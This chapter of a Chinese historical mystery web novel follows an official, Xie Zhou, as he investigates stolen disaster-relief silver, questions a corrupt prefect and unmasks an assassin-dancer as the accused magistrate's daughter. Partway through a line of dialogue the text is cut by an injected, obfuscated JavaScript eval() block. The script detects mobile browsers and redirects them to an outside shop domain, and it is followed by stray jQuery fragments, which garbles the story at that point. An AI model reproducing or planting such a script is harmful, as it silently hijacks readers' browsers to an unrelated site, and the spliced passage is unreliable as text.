梨花本就伤得不轻,伤口裂开雪上加霜,还好谢舟送来的雪莲够多,李守仁把雪莲当纱布用,一层一层铺在伤口上,感叹道:“这么多雪莲,花出去的钱够盖一座宫殿了。”他望向窗外的人影,那人已经一动不动站了半个时辰。
初秋落雨,夹杂丝丝凉风往人衣服里钻,谢舟立在檐下,手里摩挲一锭银子,那是一百五十号临死前塞给他的。
“这是我立功得的赏银,藏了很久,帮我拿去给骆天吧。”一百五十号说完便断了气,谢舟着人把他和骆天葬在一起,望他们兄弟地下团聚。
银子本该一起埋入黄土,可银子底部“赈济”两个字引起谢舟注意,这锭银子很可能就是丢失的赈灾银。百万赈灾银不翼而飞,出现在百里之外的隐秘军营,其中阴谋令人胆寒。
调查赈灾银,不知会掀起什么风浪,往后危机重重,谢舟隔窗看向里面的人轻轻闭眼。
李守仁出来道:“她已无大碍睡下了,你别担心了。”
谢舟面色冷淡:“谁说我担心她。”
李守仁摊手,表情就是你说天上挂的是大饼都行。
谢舟呼吸一滞:“她欠我十两金,不能就这么死了,她若死了你也别想活。”
李守仁神情古怪看了谢舟一眼,叹息一声,绕开他回房。
————
梨花包扎时,谢舟已经命清溪去刑部大牢提审冯玉春,说是提审,实际压根儿没说上话,人吊在刑架上只剩最后一口气,一边喂参汤吊命,一边施加酷刑,死去活来的。
清溪咂舌:“这才是真活阎王。”
狱卒啐道:“这厮罪有应得,辽东百姓饿得连树皮都啃光了,好不容易盼来赈灾银,他狗日的全给偷了,咱兄弟恨不得活吃了他,您可千万要为辽东百姓做主。”
清溪问:“那确实够招人恨的,所以他招了吗?”
狱卒咬牙切齿道:“死都不肯招,找不到赈灾银下落,这才留他狗命至今。”如今的赈灾银是大善人捐的银子替代的,这件事大部分百姓不知道,以为赈灾银找回来了,实际并没有。
清溪问:“受遍酷刑都不肯招,说不定有冤情呢,他一个人怎么盗走几十箱银两,你们没调查吗?”
“怎么没查,他勾结黑风寨夜盗仓库……还是我把他按在地上……”这名狱卒是个性情中人,对冯玉春的恨比杀了他老母都强烈,讲起当天的事那叫一个绘声绘色声情并茂,清溪翘个二郎腿正听得起劲,却被一个声音打断。
那人声音隔着几道门,拐了十八弯传进来:“谢大人,下官来迟,还请您恕罪。”话音刚落,一个圆球滚到清溪脚边,磕着头痛哭流涕:“下官丢失赈灾银隐瞒不报罪该万死。”
清溪这下看清了,这不是个圆球,是个大腹便便的中年男人,因为太胖,连滚带爬扑过来时就像一个长了脚的球。他道:“你先起来。”
圆球不肯,鼻涕眼泪一起抹,清溪嫌恶地躲远,圆球跪着追到他脚边,他笑嘻嘻道:“你想磕就磕吧,只是放不放过你我做不了主。”
圆球的哭声骤然止住,从地上弹起来,看了眼偷笑的狱卒,喝道:“你不是说京城来的大官?什么牛鬼蛇神都敢放进来,不想活了!”
狱卒惊慌失措地指指清溪:“他说他是。”
给个无名小卒跪了半天,还让狱卒看笑话,圆球脸上挂不住:“他说是就是啊,你不会看腰牌,就是谢舟本人站到我面前也得出示腰牌。你拉我做什么?”他不耐烦地甩开身旁长衫者拉他的手,那人又拉他,低低道:“别说了,身后。”
“身后什么身后,我……”圆球骂骂咧咧转过身,鼻尖险些和身后人胸脯贴上,黑衣绣鹤纹的图样飞到脸上,吓得他一屁股跌在地上。他刚想骂哪个不长眼的,对上居高临下的俯视,威压逼得他一个字也吐不出来。
谢舟坐下道:“听说你要查验我的腰牌,就在此处,过来拿吧。”他把腰牌扔在桌上。
圆球给身旁人投去一个求救的眼神,似乎在询问这是否是谢舟,那人点点头,圆球面如死灰,犹豫一下正想重复先前的哭泣讨饶,再一看立在谢舟身旁的清溪,他只得讪笑两声,尴尬地无所适从。
圆球名叫左良源,辽阳知府,赈灾银正是在他手里丢的,他身旁文质彬彬的中年男人是陆师爷。
任由左良源跪了半天,谢舟才大发慈悲叫他起来,左良源命陆师爷将当天的事详细讲了一遍。
当初银子被押送至知府衙门,左良源当众清轻点入库,因为要研究如何分配使用这些银两,于是没在第一时间发放。成华县的县令冯玉春反复要求见左良源,希望尽快拿到赈灾银,自是被拒之门外。
冯玉春心生不忿,伙同黑风寨一干匪徒趁夜盗走赈灾银,还杀害一名发现他的侍卫,最可恨的是,次日他竟然大摇大摆来府衙击鼓,说赈灾银丢失了。
彼时没人发现赈灾银丢了,左良源认为他闹事把他赶出去,岂料他早纠集好一拨人硬闯府库,府库一开,里面空荡荡的,左良源傻了眼,立刻命人搜寻赈灾银痕迹。
很快,他们在府库门槛下发现一枚香囊,上面绣着一个“冯”字,味道与冯玉春身上的一致,显然是他的东西,可他从未进过府衙,怎会在府库内遗失物品?
这时,一位看热闹的百姓站出来道:“我见过他。”说话的是一位倒夜香的老伯,“我常在附近收夜香,夜里见过他好几次,他在府衙后门不远处盯梢,鬼鬼祟祟的。”
这下人证物证俱在,冯玉春贼喊捉贼,他被关进大牢严刑拷打,奈何不知黑风寨许了他什么好处,竟然抵死不肯认罪。
清溪问:“搬走那么多箱子不可能一点动静都没有,你们没有看管府库的人吗?”
陆师爷道:“辽东灾祸连绵,大批百姓涌入富庶的辽阳,多了许多盗匪,一边赈灾、一边维护治安,留在府衙的人手的确不足,这才给了贼人可乘之机。”
清溪道:“即便只有少数人看管赈灾银,出了事也该第一时间发出预警,你们竟然到第二天都不知道赈灾银丢了,衙门的人都是吃干饭的?”
左良源仍为刚才跪他一事恼怒,挺直腰杆问:“你是什么身份,这里有你说话的地方?”
谢舟笑道:“府衙重重看守竟能让匪徒如入无人之境,来去自如,本官不得不怀疑左大人的能力。”
听到谢舟开口,左良源嚣张的气焰一下熄火,心虚地看向师爷,陆师爷道:“其实也是有人发现了的,还看见了冯玉春的脸,但那个侍卫被丢到很远的地方,大家只以为他躲懒,等找到的时候奄奄一息,只说了‘黑风寨’三个字就咽气了。”
谢舟扶起左良源笑道:“看来确实是冯玉春所为无疑,左大人快请起。”
左良源犹疑,保持半跪的姿势道:“那赈灾银……”
谢舟道:“我看府库银子尚在,不影响赈灾。左大人力挽狂澜,捉贼追赃,本官自会向上面禀明一切。”
左良源与陆师爷对视一眼,露出个轻松的笑容,立刻道:“谢大人明察秋毫,本官实在佩服。您一路舟车劳顿,我已在春香楼设宴,还请您赏脸去解
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603424|176306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
解乏。”
谢舟没有推辞,于是一行人去了春香楼,听琴赏舞饮酒,玩乐至半夜才醉醺醺离开,临走时带走盯了一晚的舞姬仪儿,左良源对此非常满意。
望着谢舟摇摇晃晃的步伐和紧贴仪儿身体那副色中恶鬼的模样,左良源道:“这世上无论是谁,都躲不过权、钱、色,谢舟也不例外。”
陆师爷微微欠身道:“大人高明。”
————
回到卫所厢房,只剩抱在一起的美娇娘和谢舟,谢舟一把推开她,连带匕首丢出去,他道:“就凭你那三脚猫的功夫也想杀我,太自不量力了。”
仪儿道:“狗官,你要杀就杀,少废话。”
谢舟扔给她一件衣服:“穿好再回话。”他倒了两杯茶。
仪儿愣了片刻,披上衣服呆呆站在原地,问道:“你故意带我回来的?”
谢舟:“还不算蠢到家,坐吧。”
仪儿谨慎坐下,快速重新审视这个俊秀男子,他在春香楼的表现都是装的,必有目的,他的目的就是自己的筹码,想到这儿,她自如地接过谢舟推过来的茶杯。
谢舟笑道:“有几分胆色,就是脑子差了点。”
仪儿蹙眉:“你什么意思。”
谢舟道:“你本来想杀的是左良源,但他有侍卫保护,后来见到我,临时改了主意,可我是否有会武功、是否有侍卫,你一概不知,这样情况下刺杀,何来胜算。”
仪儿大惊,她以为自己伪装得天衣无缝,谢舟却早看出她要杀左良源,那左良源会不会也早发现了,就等她自投罗网?
看着目露惊恐的仪儿,谢舟道:“作为一个舞姬,你的舞姿太僵硬了些。”
仪儿的表现让他不由想的起醉仙楼遇到梨花时的场景,那时她处处是破绽,比仪儿的伪装还不如,风尘女子的气质风韵是她们模仿不出来的。
仪儿泄了气,她果然被所有人发现了,看到谢舟眼神飘远莫名微笑,她道:“你不也是佯装急色?有什么目的直说吧。”
谢舟道:“别急,先说说你为何要杀左大人?”
仪儿立刻道:“他贪污受贿,是草菅人命的酷吏,人人得而诛之。”
“他贪什么了?”
“赈灾银。”
“赈灾银是冯玉春盗走的。”
“不是。”
“你怎么知道不是?”
“我……”发现自己被套话,仪儿立刻停住:“原来你打的是这番主意,和左良源演一场戏,好来套取我的话,本姑娘不会上当。”
谢舟嗤笑:“我何必如此,冯玉春偷盗赈灾银的罪名板上钉钉,而且他就快死了,还有什么套话救他的必要。”
仪儿登时站起来:“他快死了?”她揪着谢舟衣领:“你们对他用了刑?”
谢舟道:“你反应这么大,说明你们关系密切,你不想让他死,我说‘救他’你没反驳,说明你下意识认可这个说法。”他轻轻拨开仪儿的手:“冯玉春不肯认罪,拿你去威胁她如何?”
“你!”仪儿瞳孔不可置信放大,这才是他下的套。
谢舟冷声道:“我说他快死了是真的,要救他也是真的,但能不能救他就看你了,还不说实话?”
仪儿这才意识到自己面对一个多么可怕的人,她的那点小心思在他面前就是小儿科,无论坦白与否,他都能挖出真相,既然一开始没把她交出去,他至少不是敌人,说不定还能帮她。
脑中迅速转过弯,她跪下道:“我叫冯仪,是冯玉春的女儿。”